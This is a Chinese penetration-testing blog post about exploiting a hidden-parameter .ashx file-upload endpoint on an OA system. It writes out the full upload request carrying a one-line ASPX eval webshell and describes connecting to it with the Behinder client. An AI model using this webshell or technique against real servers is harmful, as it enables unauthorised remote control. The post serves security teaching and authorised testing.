记一次文件上传漏洞踩过的坑:一个.ashx文件让我多翻了两小时前端……

admin 2026-07-18 06:02:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录一次OA系统渗透测试中,通过前端代码审查发现.ashx文件接口隐藏参数,成功利用文件上传漏洞获取WebShell的过程。核心要点是前端代码可能泄露敏感信息,建议渗透测试中仔细审查JavaScript文件,关注注释和调试代码。 综合评分: 85 文章分类: 渗透测试,红队,WEB安全,内网渗透,安全工具


cover_image

记一次文件上传漏洞踩过的坑:一个.ashx文件让我多翻了两小时前端……

原创

是老A 是老A

老A搞安全

2026年7月13日 08:27 贵州

在小说阅读器读本章

去阅读

一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!

记一次文件上传踩过的坑!

一次对某OA系统的渗透测试

扫了一圈,发现了一个.ashx文件:

http://oa.com/api/FileUploadApi.ashx

.ashx是ASP.NET的处理程序,相当于一个“轻量级接口”,经常负责文件上传、下载、数据处理这类功能。

眼前一亮:文件上传接口?

赶紧访问一下。

页面返回了一行字:

{"code":500,"msg":"接口错误"}

嗯……有接口,但不知道怎么调。

正常流程走到这里,大部分人会开始:

  • 目录扫描,找更多路径
  • 参数爆破,猜参数名
  • 翻WAF拦截记录
  • 或者直接放弃,换下一个目标

我想了想,先不急着跑字典,看看前端有没有线索。

打开浏览器开发者工具,切到Sources面板,翻到FileUploadApi.ashx相关的JavaScript文件

Ctrl+F,搜了一下关键词:

FileUploadApi

然后看到了这几行注释:

// 文件上传接口调用示例// method=DoWebUpload  // 上传// method=DoDelete     // 删除// method=DoList       // 获取列表

原来这个接口不是直接访问就能用的。你需要传入一个叫method的参数,告诉它你要执行什么操作

  • method=DoWebUpload → 上传文件
  • method=DoDelete → 删除文件
  • method=DoList → 获取文件列表

开发人员可能觉得“这是前端代码里的注释,别人看不到吧”

但问题是——前端代码对浏览器是完全可见的。

你写在JS里的所有注释、变量名、甚至被注释掉的调试代码,所有访问页面的用户都能看到。

知道了方法名,接下来就是构造请求:

POST /api/FileUploadApi.ashx?method=DoWebUpload&nbsp;HTTP/1.1Host:&nbsp;oa.comContent-Type:&nbsp;multipart/form-data------WebKitFormBoundaryContent-Disposition:&nbsp;form-data; name="file"; filename="test.aspx"Content-Type: text/plain<%@&nbsp;Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>------WebKitFormBoundary--

请求发出去了

服务器返回

{"code":200,"msg":"上传成功","path":"/uploads/2024/09/test.aspx"}

传上去了

紧接着用冰蝎连接工具连了一下这个WebShell

http://oa.com/uploads/2024/09/test.aspx?pass=xxx

连接成功

从发现.ashx到拿下Shell,总用时一个多小时。其中翻前端JS花了将近半个小时。

分享几个实用的“前端翻代码”技巧

第一招:全局搜索接口路径

在Sources面板里,用Ctrl+Shift+F全局搜索接口路径的片段,比如FileUploadApi或者.ashx。

这个方法能快速定位到调用这个接口的JS代码。

第二招:搜中文关键词

有些接口名称你可能猜不到,但页面里的中文提示可以帮你。

比如页面有“上传成功”或者“文件上传失败”,搜这些中文,往往能找到对应的请求代码。

第三招:看被注释掉的代码

很多开发人员会在代码里注释掉旧的调用方式

console.log('FileUploadApi调用参数:method='&nbsp;+&nbsp;method);

打开浏览器控制台,或者翻源码搜console.log,经常会发现惊喜。

⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:老A搞安全 是老A 是老A《记一次文件上传漏洞踩过的坑:一个.ashx文件让我多翻了两小时前端……》

评论:0   参与:  0